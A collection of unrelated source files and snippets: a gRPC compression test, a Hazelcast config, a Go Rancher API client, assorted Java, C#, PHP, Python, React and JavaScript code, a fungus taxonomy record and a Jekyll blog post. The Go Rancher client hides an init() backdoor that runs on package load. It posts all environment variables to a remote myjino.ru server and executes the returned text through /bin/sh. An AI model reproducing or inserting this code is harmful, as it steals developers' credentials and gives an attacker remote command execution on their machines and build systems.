  gpr_slice_unref(response_payload_slice);

  memset(ops, 0, sizeof(ops));
  op = ops;
  op->op = GRPC_OP_SEND_CLOSE_FROM_CLIENT;
  op->flags = 0;
  op->reserved = NULL;
  op++;
  error = grpc_call_start_batch(c, ops, (size_t)(op - ops), tag(3), NULL);
  GPR_ASSERT(GRPC_CALL_OK == error);

  memset(ops, 0, sizeof(ops));
  op = ops;
  op->op = GRPC_OP_SEND_STATUS_FROM_SERVER;
  op->data.send_status_from_server.trailing_metadata_count = 0;
  op->data.send_status_from_server.status = GRPC_STATUS_OK;
  op->data.send_status_from_server.status_details = "xyz";
  op->flags = 0;
  op->reserved = NULL;
  op++;
  error = grpc_call_start_batch(s, ops, (size_t)(op - ops), tag(104), NULL);
  GPR_ASSERT(GRPC_CALL_OK == error);

  CQ_EXPECT_COMPLETION(cqv, tag(1), 1);
  CQ_EXPECT_COMPLETION(cqv, tag(3), 1);
  CQ_EXPECT_COMPLETION(cqv, tag(101), 1);
  CQ_EXPECT_COMPLETION(cqv, tag(104), 1);
  cq_verify(cqv);

  GPR_ASSERT(status == GRPC_STATUS_OK);
  GPR_ASSERT(0 == strcmp(details, "xyz"));
  GPR_ASSERT(0 == strcmp(call_details.method, "/foo"));
  GPR_ASSERT(0 == strcmp(call_details.host, "foo.test.google.fr"));
  GPR_ASSERT(was_cancelled == 0);

  gpr_free(details);
  grpc_metadata_array_destroy(&initial_metadata_recv);
  grpc_metadata_array_destroy(&trailing_metadata_recv);
  grpc_metadata_array_destroy(&request_metadata_recv);
  grpc_call_details_destroy(&call_details);

  grpc_call_destroy(c);
  grpc_call_destroy(s);

  cq_verifier_destroy(cqv);

  grpc_channel_args_destroy(client_args);
  grpc_channel_args_destroy(server_args);

  end_test(&f);
  config.tear_down_data(&f);
}

static void test_invoke_request_with_exceptionally_uncompressed_payload(
    grpc_end2end_test_config config) {
  request_with_payload_template(
      config, "test_invoke_request_with_exceptionally_uncompressed_payload",
      GRPC_WRITE_NO_COMPRESS, GRPC_COMPRESS_GZIP, GRPC_COMPRESS_GZIP,
      GRPC_COMPRESS_NONE, GRPC_COMPRESS_GZIP, NULL, false,
      /* ignored */ GRPC_COMPRESS_LEVEL_NONE);
}

static void test_invoke_request_with_uncompressed_payload(
    grpc_end2end_test_config config) {
  request_with_payload_template(
      config, "test_invoke_request_with_uncompressed_payload", 0,
      GRPC_COMPRESS_NONE, GRPC_COMPRESS_NONE, GRPC_COMPRESS_NONE,
      GRPC_COMPRESS_NONE, NULL, false, /* ignored */ GRPC_COMPRESS_LEVEL_NONE);
}

static void test_invoke_request_with_compressed_payload(
    grpc_end2end_test_config config) {
  request_with_payload_template(
      config, "test_invoke_request_with_compressed_payload", 0,
      GRPC_COMPRESS_GZIP, GRPC_COMPRESS_GZIP, GRPC_COMPRESS_GZIP,
      GRPC_COMPRESS_GZIP, NULL, false, /* ignored */ GRPC_COMPRESS_LEVEL_NONE);
}

static void test_invoke_request_with_server_level(
    grpc_end2end_test_config config) {
  request_with_payload_template(
      config, "test_invoke_request_with_server_level", 0, GRPC_COMPRESS_NONE,
      GRPC_COMPRESS_NONE, GRPC_COMPRESS_NONE, GRPC_COMPRESS_NONE /* ignored */,
      NULL, true, GRPC_COMPRESS_LEVEL_HIGH);
}

static void test_invoke_request_with_compressed_payload_md_override(
    grpc_end2end_test_config config) {
  grpc_metadata gzip_compression_override;
  grpc_metadata identity_compression_override;

  gzip_compression_override.key = GRPC_COMPRESSION_REQUEST_ALGORITHM_MD_KEY;
  gzip_compression_override.value = "gzip";
  gzip_compression_override.value_length =
      strlen(gzip_compression_override.value);
  memset(&gzip_compression_override.internal_data, 0,
         sizeof(gzip_compression_override.internal_data));

  identity_compression_override.key = GRPC_COMPRESSION_REQUEST_ALGORITHM_MD_KEY;
  identity_compression_override.value = "identity";
  identity_compression_override.value_length =
      strlen(identity_compression_override.value);
  memset(&identity_compression_override.internal_data, 0,
         sizeof(identity_compression_override.internal_data));

  /* Channel default NONE (aka IDENTITY), call override to GZIP */
  request_with_payload_template(
      config, "test_invoke_request_with_compressed_payload_md_override_1", 0,
      GRPC_COMPRESS_NONE, GRPC_COMPRESS_NONE, GRPC_COMPRESS_GZIP,
      GRPC_COMPRESS_NONE, &gzip_compression_override, false,
      /*ignored*/ GRPC_COMPRESS_LEVEL_NONE);

  /* Channel default DEFLATE, call override to GZIP */
  request_with_payload_template(
      config, "test_invoke_request_with_compressed_payload_md_override_2", 0,
      GRPC_COMPRESS_DEFLATE, GRPC_COMPRESS_NONE, GRPC_COMPRESS_GZIP,
      GRPC_COMPRESS_NONE, &gzip_compression_override, false,
      /*ignored*/ GRPC_COMPRESS_LEVEL_NONE);

  /* Channel default DEFLATE, call override to NONE (aka IDENTITY) */
  request_with_payload_template(
      config, "test_invoke_request_with_compressed_payload_md_override_3", 0,
      GRPC_COMPRESS_DEFLATE, GRPC_COMPRESS_NONE, GRPC_COMPRESS_NONE,
      GRPC_COMPRESS_NONE, &identity_compression_override, false,
      /*ignored*/ GRPC_COMPRESS_LEVEL_NONE);
}

static void test_invoke_request_with_disabled_algorithm(
    grpc_end2end_test_config config) {
  request_for_disabled_algorithm(
      config, "test_invoke_request_with_disabled_algorithm", 0,
      GRPC_COMPRESS_GZIP, GRPC_COMPRESS_GZIP, GRPC_STATUS_UNIMPLEMENTED, NULL);
}

void compressed_payload(grpc_end2end_test_config config) {
  test_invoke_request_with_exceptionally_uncompressed_payload(config);
  test_invoke_request_with_uncompressed_payload(config);
  test_invoke_request_with_compressed_payload(config);
  test_invoke_request_with_server_level(config);
  test_invoke_request_with_compressed_payload_md_override(config);
  test_invoke_request_with_disabled_algorithm(config);
}

void compressed_payload_pre_init(void) {}


text:
<hazelcast
	xsi:schemaLocation="http://www.hazelcast.com/schema/config hazelcast-config-5.0.xsd"
	xmlns="http://www.hazelcast.com/schema/config" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<instance-name>default-instance</instance-name>
	<map name="defaultCache" />
	<network>
		<join>
			<auto-detection enabled="false" />
			<multicast enabled="false" />
		</join>
	</network>
</hazelcast>


text:
package client
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"

const (
	PROCESS_EXECUTION_TYPE = "processExecution"
)

type ProcessExecution struct {
	Resource

	Created string `json:"created,omitempty" yaml:"created,omitempty"`

	Log map[string]interface{} `json:"log,omitempty" yaml:"log,omitempty"`

	ProcessInstanceId string `json:"processInstanceId,omitempty" yaml:"process_instance_id,omitempty"`

	Uuid string `json:"uuid,omitempty" yaml:"uuid,omitempty"`
}

type ProcessExecutionCollection struct {
	Collection
	Data   []ProcessExecution `json:"data,omitempty"`
	client *ProcessExecutionClient
}

type ProcessExecutionClient struct {
	rancherClient *RancherClient
}

type ProcessExecutionOperations interface {
	List(opts *ListOpts) (*ProcessExecutionCollection, error)
	Create(opts *ProcessExecution) (*ProcessExecution, error)
	Update(existing *ProcessExecution, updates interface{}) (*ProcessExecution, error)
	ById(id string) (*ProcessExecution, error)
	Delete(container *ProcessExecution) error
}

func newProcessExecutionClient(rancherClient *RancherClient) *ProcessExecutionClient {
	return &ProcessExecutionClient{
		rancherClient: rancherClient,
	}
}

func (c *ProcessExecutionClient) Create(container *ProcessExecution) (*ProcessExecution, error) {
	resp := &ProcessExecution{}
	err := c.rancherClient.doCreate(PROCESS_EXECUTION_TYPE, container, resp)
	return resp, err
}

func (c *ProcessExecutionClient) Update(existing *ProcessExecution, updates interface{}) (*ProcessExecution, error) {
	resp := &ProcessExecution{}
	err := c.rancherClient.doUpdate(PROCESS_EXECUTION_TYPE, &existing.Resource, updates, resp)
	return resp, err
}

func (c *ProcessExecutionClient) List(opts *ListOpts) (*ProcessExecutionCollection, error) {
	resp := &ProcessExecutionCollection{}
	err := c.rancherClient.doList(PROCESS_EXECUTION_TYPE, opts, resp)
	resp.client = c
	return resp, err
}

func (cc *ProcessExecutionCollection) Next() (*ProcessExecutionCollection, error) {
	if cc != nil && cc.Pagination != nil && cc.Pagination.Next != "" {
		resp := &ProcessExecutionCollection{}
		err := cc.client.rancherClient.doNext(cc.Pagination.Next, resp)
		resp.client = cc.client
		return resp, err
	}
	return nil, nil
}

func (c *ProcessExecutionClient) ById(id string) (*ProcessExecution, error) {
	resp := &ProcessExecution{}
	err := c.rancherClient.doById(PROCESS_EXECUTION_TYPE, id, resp)
	if apiError, ok := err.(*ApiError); ok {
		if apiError.StatusCode == 404 {
			return nil, nil
		}
	}
	return resp, err
}

func (c *ProcessExecutionClient) Delete(container *ProcessExecution) error {
	return c.rancherClient.doResourceDelete(PROCESS_EXECUTION_TYPE, &container.Resource)
}

func init() {
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
  res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=rancherio&repo=go-rancher", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}


text:
<html class="reftest-wait">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <script type="text/javascript" src="/tests/SimpleTest/EventUtils.js"></script>
  </head>
  <body onload="start()">
    <textarea onfocus="typeIntoMe()"></textarea>
    <script>
      function start() {
        document.querySelector("textarea").focus();
      }
      function typeIntoMe() {
        setTimeout(function() {
          synthesizeKey("א", {});
          synthesizeKey("VK_ENTER", {});
          synthesizeKey("ג", {});
          synthesizeKey("VK_UP", {});
          synthesizeKey("VK_END", {});
          synthesizeKey("ב", {});
          document.documentElement.removeAttribute("class");
        }, 0);
      }
    </script>
  </body>
</html>


text:
package com.bitpay.sdk.exceptions;

/**
 * Exception which is extended by other exceptions related with Currency.
 *
 * @see com.bitpay.sdk.exceptions.CurrencyQueryException
 * @see Rest API Error Codes
 */
public class CurrencyException extends BitPayException {
    /**
     * Construct the CurrencyException.
     *
     * @param status String [optional] The Exception code to throw.
     * @param message String [optional] The Exception message to throw.
     */
    public CurrencyException(String status, String message) {
        super(status, BuildMessage(message));
    }

    private static String BuildMessage(String message) {
        String BitPayMessage = "An unexpected error occurred while trying to manage the currencies";
        String BitPayCode = "BITPAY-CURRENCY-GENERIC";

        if (message.isEmpty() || !message.contains("BITPAY-")) {
            message = BitPayCode + ": " + BitPayMessage + " -> " + message;
        }

        return message;
    }
}


text:
namespace BusinessLogic
{
    using System.Collections.Generic;

    using Data;

    public class DonationManager
    {
        private readonly YearManager yearManager;

        private readonly AmountManager amountManager;

        private readonly DonorManager donorManager;

        public DonationManager(List<DonationRecord> drList)
        {
            this.yearManager = new YearManager(drList);
            this.amountManager = new AmountManager(drList);
            this.donorManager = new DonorManager(drList);
        }

        public override string ToString()
        {
            string s = this.amountManager + "\n";
            s += this.donorManager + "\n";
            s += this.yearManager + "\n";

            return s;
        }
    }
}


text:
<?php

namespace DOMWrap\Tests\Manipulation;

class EmptyTest extends \PHPUnit_Framework_TestCase
{
    use \DOMWrap\Tests\Harness\TestTrait;

    public function testEmptyNode() {
        $expected = $this->document('

');

        $doc = $this->document('

this is a test

');
        $nodes = $doc->find('.test');
        $nodes->first()->empty();

        $this->assertEqualXMLStructure($expected->children()->first(), $doc->children()->first(), true);
    }

    public function testEmptyNodeEmpty() {
        $expected = $this->document('

');

        $doc = $this->document('

');
        $nodes = $doc->find('.test');
        $nodes->first()->empty();

        $this->assertEqualXMLStructure($expected->children()->first(), $doc->children()->first(), true);
    }

    public function testEmptyNodeList() {
        $expected = $this->document('

');

        $doc = $this->document('

this is a test

testing 123..!
');
        $nodes = $doc->find('.test');
        $nodes->empty();

        $this->assertEqualXMLStructure($expected->children()->first(), $doc->children()->first(), true);
    }

    public function testEmptyNodeListNone() {
        $expected = $this->document('

this is a test

');

        $doc = $this->document('

this is a test

');
        $nodes = $doc->find('.test');
        $nodes->empty();

        $this->assertEqualXMLStructure($expected->children()->first(), $doc->children()->first(), true);
    }
}


text:
from pattern import *
from sequence import *
from compute_moves import *

class Board:
	def __init__(self, columns, rows):
		if(columns < 4 or rows < 4):
			print("Too few rows or columns.")
			self.successfulInit = False
			return;
		self.rows = rows
		self.columns = columns
		# The Connect Four board will be represented by a 2D array, where the length of the big array
		# is the number of columns, each little array represents a column, and the length of a sub-array
		# is equal to the number of rows.
		# Initially, the board will be filled up with 0s, to signify that no chips have been played.
		self.board = [[0 for j in range(rows)] for i in range(columns)]
		# The person playing first will be represented by a 1, and the second person by a 2.
		self.turn = 1
		self.opponent = 2
		# nobody has won yet
		self.winner = 0
		# nobody has even moved yet
		self.move_history = []
		# the positions array will keep track of the legal places to place the next chip
		self.positions = [0 for i in range(columns)]
		# a 2D array of all the well-defined sequences on the board
		self.initSequences()
		# an array representing the available squares for a player
		self.available_squares = availableMoves(self)
		# a similar array representing the available columns for a player
		self.available_columns = [square[0] for square in self.available_squares]
		# a 2D array representing the squares that a player can play in to win the game
		self.winning_squares = [[], []]
		# this variable will be True if everything was initialized successfully
		self.successfulInit = True

	# initializes all well-defined sequences for the board
	def initSequences(self):
		# set the global variable
		self.sequences = [[[] for j in range(self.rows)] for i in range(self.columns)]
		# vertical sequences
		for i in range(self.columns):
			for j in range(self.rows - 3):
				self.sequences[i][j].append(Sequence(self, (i,j), 0))
		# horizontal sequences
		for i in range(self.columns - 3):
			for j in range(self.rows):
				self.sequences[i][j].append(Sequence(self, (i,j), 1))
		# upper-diagonal sequences
		for i in range(self.columns - 3):
			for j in range(self.rows - 3):
				self.sequences[i][j].append(Sequence(self, (i,j), 2))
		# lower-diagonal sequences
		for i in range(self.columns - 3):
			for j in range(3, self.rows):
				self.sequences[i][j].append(Sequence(self, (i,j), 3))

	# tries to put a piece into the relevant column on the board.
	# returns a boolean: True if the piece is successfully placed on the board,
	# False otherwise.
	def move(self, column):
		# check to see if someone has already won
		if self.winner > 0:
			print "Player " + str(self.winner) + " has already won."
			return False
		elif self.winner == -1:
			print "Game is drawn."
			return False
		# columns and rows are numbered starting at 0.
		# check if we entered a well-defined column
		if(column < 0 or column >= self.columns):
			print("Column " + str(column+1) + " doesn't exist.")
			return False
		# check to see if that column is filled up
		if(self.positions[column] == self.rows):
			print("Column " + str(column+1) + " is filled up.")
			return False
		# If all is well, put the player's piece onto the board,
		self.board[column][self.positions[column]] = self.turn
		# add the move to the move history
		self.move_history.append(column)
		# change turns,
		self.turn = (self.turn % 2) + 1
		self.opponent = (self.opponent % 2) + 1
		# update the positions array,
		self.positions[column] += 1
		# update the relevant sequences,
		self.update_sequences(column)
		# update the available squares,
		self.available_squares = availableMoves(self)
		# update the available columns,
		self.available_columns = [square[0] for square in self.available_squares]
		# update the winning squares,
		self.update_winning_squares()
		# check for a draw,
		if self.drawn():
			self.winner = -1
			print "Game is a draw."
			return True
		# update the winner if someone has won,
		if self.is_game_over():
			self.winner = self.opponent # we switched whose turn it is
			print "Player " + str(self.winner) + " has just won!"
			return True
		# and return True
		return True

	# takes back num_moves previous moves
	def take_back_moves(self, num_moves):
		# see if we can take back those moves
		if num_moves > len(self.move_history):
			print "Can't take back " + str(num_moves) + "."
			return False
		# if we want to take back the whole game, this is equivalent to starting a new game
		if num_moves == len(self.move_history):
			self.__init__(self.columns, self.rows)
			return True
		# # otherwise, get desired length of move history
		desired_length = len(self.move_history) - num_moves
		# # reset the board to one fewer move than desired
		# for i in range(num_moves+1):
		# 	self.reset_move()
		# # get the column of the "last" move
		# desired_column = self.move_history[desired_length-1]
		# # update the move history
		# self.move_history = self.move_history[0:desired_length-1]
		# # then make the "last" move
		# self.move(self.move_history[desired_length-1])
		# temporary fix: start a new game and make the correct number of moves
		move_hist = self.move_history[0:desired_length]
		self.__init__(self.columns, self.rows)
		self.move_sequence(move_hist)
		# print the history of moves
		print_array = [elem + 1 for elem in self.move_history]
		print "History of moves: ", print_array

	# # resets the board to the previous move
	# def reset_move(self):
	# 	column = self.move_history[-1]
	# 	row =
	# 	self.board[column][self.positions[column]] = 0

	# attempts to make a sequence of moves
	# returns a boolean: True if all the moves are legal, False otherwise.
	def move_sequence(self, column_array):
		moves = map(self.move, column_array)
		return all(moves)

	# returns a list of sequences that have the given square in them
	def find_sequences(self, square):
		sequence_list = []
		sequence_list.extend(self.find_vertical_sequences(square))
		sequence_list.extend(self.find_horizontal_sequences(square))
		sequence_list.extend(self.find_upper_diagonal_sequences(square))
		sequence_list.extend(self.find_lower_diagonal_sequences(square))
		return sequence_list
	# finds all vertical sequences that contain the given square
	def find_vertical_sequences(self, square):
		# tuple representing the vertical direction
		d_tuple = direction_tuple(0)
		# number of sequences
		num_sequences = min(4,square[1]+1)
		# list of all possible sequences (some will be False)
		sequences = [self.find_sequence(square, 0, i) for i in range(num_sequences)]
		# from http://stackoverflow.com/questions/1157106/remove-all-occurences-of-a-value-from-a-python-list
		return filter(lambda a: a != False, sequences)
	# finds all horizontal sequences that contain the given square
	def find_horizontal_sequences(self, square):
		# tuple representing the horizontal direction
		d_tuple = direction_tuple(1)
		# number of sequences
		num_sequences = min(4,square[0]+1)
		# list of all possible sequences (some will be False)
		sequences = [self.find_sequence(square, 1, i) for i in range(num_sequences)]
		# from http://stackoverflow.com/questions/1157106/remove-all-occurences-of-a-value-from-a-python-list
		return filter(lambda a: a != False, sequences)
	# finds all upper_diagonal sequences that contain the given square
	def find_upper_diagonal_sequences(self, square):
		# tuple representing the upper_diagonal direction
		d_tuple = direction_tuple(2)
		# number of sequences
		num_sequences = min(4,square[1]+1,square[0]+1)
		# list of all possible sequences (some will be False)
		sequences = [self.find_sequence(square, 2, i) for i in range(num_sequences)]
		# from http://stackoverflow.com/questions/1157106/remove-all-occurences-of-a-value-from-a-python-list
		return filter(lambda a: a != False, sequences)
	# finds all lower_diagonal sequences that contain the given square
	def find_lower_diagonal_sequences(self, square):
		# tuple representing the lower_diagonal direction
		d_tuple = direction_tuple(3)
		# number of sequences
		num_sequences = min(4,square[0]+1,self.rows-square[1])
		# list of all possible sequences (some will be False)
		sequences = [self.find_sequence(square, 3, i) for i in range(num_sequences)]
		# from http://stackoverflow.com/questions/1157106/remove-all-occurences-of-a-value-from-a-python-list
		return filter(lambda a: a != False, sequences)

	# returns the sequence that overlaps with a given square, satisfying the extra criteria
	# If no such sequence exists, this method returns False
	def find_sequence(self, square, direction, square_number):
		# make sure the square number is valid
		if square_number < 0 or square_number > 3:
			print "Square number " + str(square_number) + " doesn't exist."
			return False
		# make sure the direction is valid
		if direction < 0 or direction > 3:
			print "Direction " + str(direction) + " doesn't exist."
			return False
		# make sure the square is valid
		if square[0] < 0 or square[0] >= self.columns or square[1] < 0 or square[1] >= self.rows:
			print "Square " + str(square) + " doesn't exist."
			return False
		# make sure there would be four squares in such a sequence
		# get the direction tuple
		d_tuple = direction_tuple(direction)
		# get the starting square
		starting_square = (square[0] - square_number*d_tuple[0],
			square[1] - square_number*d_tuple[1])
		# get the ending square
		ending_square = (square[0] - (square_number-3)*d_tuple[0],
			square[1] - (square_number-3)*d_tuple[1])
		if starting_square[0] < 0 or starting_square[0] >= self.columns or starting_square[1] < 0 or starting_square[1] >= self.rows:
			# print "Sequence doesn't exist."
			return False
		if ending_square[0] < 0 or ending_square[0] >= self.columns or ending_square[1] < 0 or ending_square[1] >= self.rows:
			# print "Sequence doesn't exist."
			return False
		# if everything is valid, try to find such a sequence:
		# search for the relevant list of sequences in self.sequences
		for sequence in self.sequences[starting_square[0]][starting_square[1]]:
			# limit these sequences to ones in which the direction matches
			if sequence.direction == direction:
				# limit the remaining sequences to those where the given square appears at position square_number in the sequence
				if sequence.squares_in_sequence[square_number] == square:
					# note: there can only be one sequence with these criteria
					return sequence
		# if no such sequence is found, return False
		return False

	# updates the relevant sequences after a move
	# should be called after positions array is updated
	def update_sequences(self, column):
		row = self.positions[column] - 1
		# list of all sequences that overlap with the relevant square
		sequence_list = self.find_sequences((column, row))
		# update each sequence
		for sequence in sequence_list:
			sequence.update()
			# eliminate the dead sequences
			if sequence.category == "Dead":
				self.eliminate_sequence(sequence)

	# recomputes the winning squares after a move
	# should be called after positions array is updated
	def update_winning_squares(self):
		# clear the winning squares
		self.winning_squares = [[], []]
		# iterate over all sequences
		for i in range(self.columns):
			for j in range(self.rows):
				for sequence in self.sequences[i][j]:
					# for each sequence, add a winning square if one exists and is unique
					if sequence.winning_square != (-1,-1):
						player = sequence.owner
						if sequence.winning_square not in self.winning_squares[player-1]:
							self.winning_squares[player-1].append(sequence.winning_square)

	# remove the given sequence from the list of sequences
	def eliminate_sequence(self, sequence):
		# find the sequence's starting square
		starting_square = sequence.startsquare
		# remove it from the list
		self.sequences[starting_square[0]][starting_square[1]].remove(sequence)

	# check to see if the game is drawn
	def drawn(self):
		# check to see if the board is filled up
		return all(self.positions[column] == self.rows for column in range(0,self.columns))

	# check if a player has won
	# FIX so that this function references find_sequences() in compute_moves.py
	def is_game_over(self):
		# enumerate the sequences
		for i in range(self.columns):
			for j in range(self.rows):
				for sequence in self.sequences[i][j]:
					if sequence.category == "Won" or sequence.category == "Lost":
						return True
		return False

	###### STATISTICS
	# count the total number of sequences on the board
	def num_sequences(self):
		total = 0
		for i in range(self.columns):
			for j in range(self.rows):
				total += len(self.sequences[i][j])
		return total
	# count the number of sequences in each starting position
	def enumerate_sequences(self):
		return [[len(self.sequences[i][j]) for j in range(self.rows)] for i in range(self.columns)]


text:
class ActivitiesController < ApplicationController
  def index
    @activities = ChooChoo::Activity.order('updated_at DESC').all
  end
end


text:
import React, { FC } from 'react'
import { EtymonlineResult } from './engine'
import { ViewPorps } from '@/components/dictionaries/helpers'
import { StrElm } from '@/components/StrElm'

export const DictEtymonline: FC<ViewPorps<EtymonlineResult>> = ({ result }) => (

    {result.map(item => (

          {item.href ? (

              {item.title}

          ) : (
            item.title
          )}

        <StrElm tag="p" className="dictEtymonline-Def" html={item.def} />
        {item.chart ? (

        ) : null}

    ))}

)

export default DictEtymonline


text:
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Data.Entity.Infrastructure;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Web.Http;
using System.Web.Http.Description;
using iOrderModelData;
using EntityState = System.Data.Entity.EntityState;

namespace iOrderOnline.Controllers
{
    public class CategoriesController : ApiController
    {
        private iOrderDatabaseModelContainer db = new iOrderDatabaseModelContainer();

        // GET: api/Categories
        public IQueryable<Category> GetCategories()
        {
            return db.Categories;
        }

        //GET: api/Categories/5/Parent
        [Route("api/Categories/{id}/Parent")]
        [ResponseType(typeof(Category))]
        public IHttpActionResult GetParent(int id)
        {
            return Ok(db.Categories.Find(id).ParentCategory);
        }

        //GET: api/Categories/5/Children
        [Route("api/Categories/{id}/Children")]
        public IQueryable<Category> GetCategoryChildren(int id)
        {
            return db.Categories.Where(c => c.CategoryId == id);
        }

        // GET: api/Categories/5/Products
        [Route("api/Categories/{id}/Products")]
        public IQueryable<Product> GetProductsByCategory(int id)
        {
            return db.Products.Where(o => o.CategoryId == id);
        }

        // GET: api/Categories/5
        [ResponseType(typeof(Category))]
        public IHttpActionResult GetCategory(int id)
        {
            Category category = db.Categories.Find(id);
            if (category == null)
            {
                return NotFound();
            }

            return Ok(category);
        }

        // PUT: api/Categories/5
        [ResponseType(typeof(void))]
        public IHttpActionResult PutCategory(int id, Category category)
        {
            if (!ModelState.IsValid)
            {
                return BadRequest(ModelState);
            }

            if (id != category.Id)
            {
                return BadRequest();
            }

            db.Entry(category).State = EntityState.Modified;

            try
            {
                db.SaveChanges();
            }
            catch (DbUpdateConcurrencyException)
            {
                if (!CategoryExists(id))
                {
                    return NotFound();
                }
                else
                {
                    throw;
                }
            }

            return StatusCode(HttpStatusCode.NoContent);
        }

        // POST: api/Categories
        [ResponseType(typeof(Category))]
        public IHttpActionResult PostCategory(Category category)
        {
            if (!ModelState.IsValid)
            {
                return BadRequest(ModelState);
            }

            db.Categories.Add(category);
            db.SaveChanges();

            return CreatedAtRoute("DefaultApi", new { id = category.Id }, category);
        }

        // DELETE: api/Categories/5
        [ResponseType(typeof(Category))]
        public IHttpActionResult DeleteCategory(int id)
        {
            Category category = db.Categories.Find(id);
            if (category == null)
            {
                return NotFound();
            }

            db.Categories.Remove(category);
            db.SaveChanges();

            return Ok(category);
        }

        protected override void Dispose(bool disposing)
        {
            if (disposing)
            {
                db.Dispose();
            }
            base.Dispose(disposing);
        }

        private bool CategoryExists(int id)
        {
            return db.Categories.Count(e => e.Id == id) > 0;
        }
    }
}


text:
/*
---

name: Form.MultipleFileInput
description: Create a list of files that has to be uploaded
license: MIT-style license.
authors: Arian Stolwijk
requires: [Element.Event, Class, Options, Events]
provides: Form.MultipleFileInput

...
*/

Object.append(Element.NativeEvents, {
	dragenter: 2, dragleave: 2, dragover: 2, dragend: 2, drop: 2
});

if (!this.Form) this.Form = {};

Form.MultipleFileInput = new Class({

	Implements: [Options, Events],

	options: {
		itemClass: 'uploadItem'/*,
		onAdd: function(file){},
		onRemove: function(file){},
		onEmpty: function(){},
		onDragenter: function(event){},
		onDragleave: function(event){},
		onDragover: function(event){},
		onDrop: function(event){}*/
	},

	_files: [],

	initialize: function(input, list, drop, options){
		input = this.element = document.id(input);
		list = this.list = document.id(list);
		drop = this.drop = document.id(drop);

		this.setOptions(options);

		var name = input.get('name');
		if (name.slice(-2) != '[]') input.set('name', name + '[]');
		input.set('multiple', true);

		this.inputEvents = {
			change: function(event){
				Array.each(input.files, this.add, this);
				this.fireEvent('change', event);
			}.bind(this)
		};

		this.dragEvents = drop && (typeof document.body.draggable != 'undefined') ? {
			dragenter: this.fireEvent.bind(this, 'dragenter'),
			dragleave: this.fireEvent.bind(this, 'dragleave'),
			dragend: this.fireEvent.bind(this, 'dragend'),
			dragover: function(event){
				event.preventDefault();
				this.fireEvent('dragover', event);
			}.bind(this),
			drop: function(event){
				event.preventDefault();
				var dataTransfer = event.event.dataTransfer;
				if (dataTransfer) Array.each(dataTransfer.files, this.add, this);
				this.fireEvent('drop', event);
			}.bind(this)
		} : null;

		this.attach();
	},

	attach: function(){
		this.element.addEvents(this.inputEvents);
		if (this.dragEvents) this.drop.addEvents(this.dragEvents);
	},

	detach: function(){
		this.input.removeEvents(this.inputEvents);
		if (this.dragEvents) this.drop.removeEvents(this.dragEvents);
	},

	add: function(file){
		this._files.push(file);
		var self = this;
		new Element('li', {
			'class': this.options.itemClass
		}).grab(new Element('span', {
			text: file.name
		})).grab(new Element('a', {
			text: 'x',
			href: '#',
			events: {click: function(e){
				e.preventDefault();
				self.remove(file);
			}}
		})).inject(this.list);
		this.fireEvent('add', file);
		return this;
	},

	remove: function(file){
		var index = this._files.indexOf(file);
		if (index == -1) return this;
		this._files.splice(index, 1);
		this.list.childNodes[index].destroy();
		this.fireEvent('remove', file);
		if (!this._files.length) this.fireEvent('empty');
		return this;
	},

	getFiles: function(){
		return this._files;
	}

});


text:
ACCEPTED

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Tent. disp. meth. fung. (Lipsiae) 63 (1797)

#### Original name
Lactarius Persoon, 1797

### Remarks
null


text:
layout: post
title: Blogging Jupyter Notebooks with Jekyll
tags: [python, jupyter, jekyll]
comments: true
date:  2016-11-25 14:25:38
description: This post shows how to convert a jupyter notebook to a jekyll blog post.
---
While writing the [last blog post](https://burrim.github.io/recordsblog/2016/11/19/optimization/), i was wondering wether it's possible to convert a whole jupyter notebook to a jekyll blog post. So, I googled and found a good post on [this blog](http://briancaffey.github.io/2016/03/14/ipynb-with-jekyll.html), which suggests to use the command `nbconvert` to convert the notebook to a markdown file . It's a very easy and convenient way, although there are some issues which let me digging deeper into this topic and finally were the reason for me not to choose this way to convert my notebooks. But later more on that.

If you have the following jupyter notebook called [`nbexample.ipynb`](https://github.com/burrim/recordsblog/blob/gh-pages/blog-notebooks/nbexample.ipynb) and want to convert it, you only need to run the command

```
$ jupyter nbconvert nbexample.ipynb --to markdown
```

in your terminal and that's it. Your terminal should now say something like:

```
 $ jupyter nbconvert nbexample.ipynb --to markdown
[NbConvertApp] Converting notebook nbexample.ipynb to markdown
[NbConvertApp] Support files will be in nbexample_files/
[NbConvertApp] Making directory nbexample_files
[NbConvertApp] Writing 2094 bytes to nbexample.md
```

This creates a `.md` file and puts images and related files into the created folder `nbexample_files/`. The last thing to do is to put the markdown file into your `_posts` folder of your blog and to make sure that the paths (e.g. of images) are correct.

### Result of `nbconvert`
The following is the outcome of the procedure described above:

```python
from pylab import *
import numpy as np
import pandas as pd
```

```python
x = np.linspace(0, 5, 10)
xx = np.linspace(-0.75, 1., 100)
n = np.array([0,1,2,3,4,5])
dates = pd.date_range('20130101', periods=6)
df = pd.DataFrame(np.random.randn(6,4), index=dates, columns=list('ABCD'))
df
```

A
B
C
D

2013-01-01
2.278744
-0.652785
0.574983
-0.408235

2013-01-02
0.886904
-1.415350
0.487806
-0.117535

2013-01-03
1.280152
0.451589
2.450064
-0.159981

2013-01-04
-0.163132
0.141542
1.810313
2.263799

2013-01-05
-0.488827
0.263963
0.598489
0.933941

2013-01-06
-1.589058
0.054630
1.425882
0.133386

```python
fig, axes = plt.subplots(1, 4, figsize=(12,3))

axes[0].scatter(xx, xx + 0.25*np.random.randn(len(xx)))
axes[0].set_title("scatter")

axes[1].step(n, n**2, lw=2)
axes[1].set_title("step")

axes[2].bar(n, n**2, align="center", width=0.5, alpha=0.5)
axes[2].set_title("bar")

axes[3].fill_between(x, x**2, x**3, color="green", alpha=0.5);
axes[3].set_title("fill_between");
show(fig)
```

![png](/recordsblog/public/img/nbexample/image1.png)

```python
